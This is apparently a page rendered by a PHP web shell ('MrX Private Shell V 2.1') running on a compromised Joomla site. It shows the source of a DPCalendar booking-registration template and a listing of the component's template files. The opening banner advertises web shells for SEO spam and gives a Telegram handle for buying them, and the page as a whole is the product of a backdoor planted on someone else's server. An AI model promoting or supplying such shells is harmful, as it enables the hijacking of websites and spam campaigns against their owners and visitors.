__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* @package DPCalendar
* @copyright Copyright (C) 2015 Digital Peak GmbH. <https://www.digital-peak.com>
* @license https://www.gnu.org/licenses/gpl-3.0.html GNU/GPL
*/
\defined('_JEXEC') or die();
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Form\Form;
// Check if we can register
if (!$this->user->guest
|| ComponentHelper::getParams('com_users')->get('allowUserRegistration') == 0
|| $this->params->get('booking_registration', 1) != 1) {
return '';
}
// Prefill the data
$data = $this->app->setUserState(
'com_users.registration.data',
[
'name' => $this->booking->first_name . ' ' . $this->booking->name,
'username' => preg_replace('/([^@]*).*/', '$1', (string) $this->booking->email),
'email1' => $this->booking->email,
'email2' => $this->booking->email
]
);
// Set which view to display and add appropriate paths
$this->app->getInput()->set('view', 'registration');
// Path to the users component
$com = JPATH_SITE . '/components/com_users';
$controller = $this->app->bootComponent('com_users')->getMVCFactory($this->app)->createController(
'Display',
'Site',
[],
$this->app,
$this->app->getInput()
);
// Get the view and add the correct template path
$view = $controller->getView('registration', 'html');
$view->addTemplatePath($com . '/tmpl/registration');
$view->addTemplatePath($com . '/views/registration/tmpl');
Form::addFormPath($com . '/forms');
Form::addFormPath($com . '/models/forms');
Form::addFieldPath($com . '/models/fields');
// Load the language file
$this->app->getLanguage()->load('com_users', JPATH_SITE);
?>
<div class="com-dpcalendar-booking__registration dp-registration">
<div class="dp-registration__info dp-info-box">
<?php echo $this->translate('COM_DPCALENDAR_VIEW_BOOKING_REGISTER_INFORMATION'); ?>
</div>
<div class="dp-registration__form"><?php $controller->display(); ?></div>
</div>
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| abort.php | File | 779 B | 0664 |
|
| cancel.php | File | 797 B | 0664 |
|
| confirm.php | File | 1.77 KB | 0664 |
|
| confirm_actions.php | File | 1.6 KB | 0664 |
|
| confirm_content.php | File | 2.17 KB | 0664 |
|
| confirm_heading.php | File | 443 B | 0664 |
|
| confirm_payment.php | File | 2.11 KB | 0664 |
|
| confirm_terms.php | File | 817 B | 0664 |
|
| confirm_tickets.php | File | 3.72 KB | 0664 |
|
| confirm_title.php | File | 394 B | 0664 |
|
| default.php | File | 1.2 KB | 0664 |
|
| default_content.php | File | 3.53 KB | 0664 |
|
| default_header.php | File | 5.14 KB | 0664 |
|
| default_heading.php | File | 443 B | 0664 |
|
| default_registration.php | File | 1.85 KB | 0664 |
|
| default_steps.php | File | 2.08 KB | 0664 |
|
| default_tickets.php | File | 3.74 KB | 0664 |
|
| default_waiting.php | File | 407 B | 0664 |
|
| order.php | File | 976 B | 0664 |
|
| order_content.php | File | 300 B | 0664 |
|
| order_header.php | File | 1.91 KB | 0664 |
|
| order_heading.php | File | 443 B | 0664 |
|
| pay.php | File | 910 B | 0664 |
|
| pay_heading.php | File | 443 B | 0664 |
|
| review.php | File | 1.56 KB | 0664 |
|
| review_actions.php | File | 888 B | 0664 |
|
| review_heading.php | File | 443 B | 0664 |
|
| review_message.php | File | 445 B | 0664 |
|
| review_tickets.php | File | 1.97 KB | 0664 |
|
| review_title.php | File | 393 B | 0664 |
|